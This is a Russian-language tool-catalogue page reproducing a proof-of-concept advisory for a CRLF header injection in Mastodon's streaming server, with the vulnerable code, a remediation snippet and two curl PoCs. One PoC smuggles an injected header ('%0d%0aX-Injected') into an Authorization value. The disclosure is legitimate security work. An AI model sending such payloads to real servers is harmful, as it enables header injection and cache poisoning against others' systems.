Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-Mastodon-Streaming-CRLF-Injection — Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection | Kitploit
Инструменты/GitHubGitHub/1402307692/cve-2026-mastodon-streaming-crlf-injection
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHub1402307692/cve-2026-mastodon-streaming-crlf-injection

CVE-2026-Mastodon-Streaming-CRLF-Injection

Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт
4 месяцев назадЕщё не проверено

CVE-2026-XXXXX: Внедрение HTTP-заголовка ответа (CRLF) в потоковом сервере Mastodon

Обзор уязвимости

ПунктДетали
CVE IDCVE-2026-XXXXX
Затронутый продуктMastodon (Потоковый сервер)
Затронутая версия<= 4.5.9
Компонентstreaming/index.js строки 188-206
Тип уязвимостиHTTP Response Header Injection / CRLF Injection
CWECWE-74
CVSS 3.16.5 (Средняя)
Вектор атакиСеть
Сообщившийqitian [email protected]

Описание уязвимости

Когда запрос на обновление WebSocket не проходит аутентификацию, потоковый сервер Mastodon в streaming/index.js строках 188-206 формирует ручной HTTP-ответ и записывает errorMessage непосредственно в заголовок ответа X-Error-Message через socket.end() БЕЗ санитизации символов \r или \n.

Это позволяет неаутентифицированному удаленному злоумышленнику внедрять произвольные HTTP-заголовки или выполнять расщепление HTTP-ответа (HTTP Response Splitting).

Уязвимый код (streaming/index.js строки 188-206)

root@kitploit:~
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}\r\n` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('\r\n')}\r\n\r\n`
);

Воздействие

  • HTTP Header Injection: Внедрение произвольных HTTP-заголовков
  • HTTP Response Splitting: Внедрение второго тела HTTP-ответа (отравление кэша)
  • Information Disclosure: Раскрытие информации — внутренние сообщения об ошибках становятся доступны неаутентифицированным пользователям

Подтверждение концепции

PoC 1 - Базовое обнаружение

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

Ожидается: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - CRLF-инъекция

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

Устранение уязвимости

Санитизируйте errorMessage перед записью в заголовок сокета:

root@kitploit:~
const sanitizedMessage = String(errorMessage || '')
  .replace(/\r/g, '%0D')
  .replace(/\n/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

Хронология

ДатаСобытие
2026-04-22Уязвимость обнаружена и PoC создан
2026-04-22Отчет CVE отправлен в MITRE / VDB

Ссылки

  • https://github.com/mastodon/mastodon
  • https://cwe.mitre.org/data/definitions/74.html

Отказ от ответственности: Данное PoC предназначено только для образовательных целей и исследований в области безопасности.

Скачать инструмент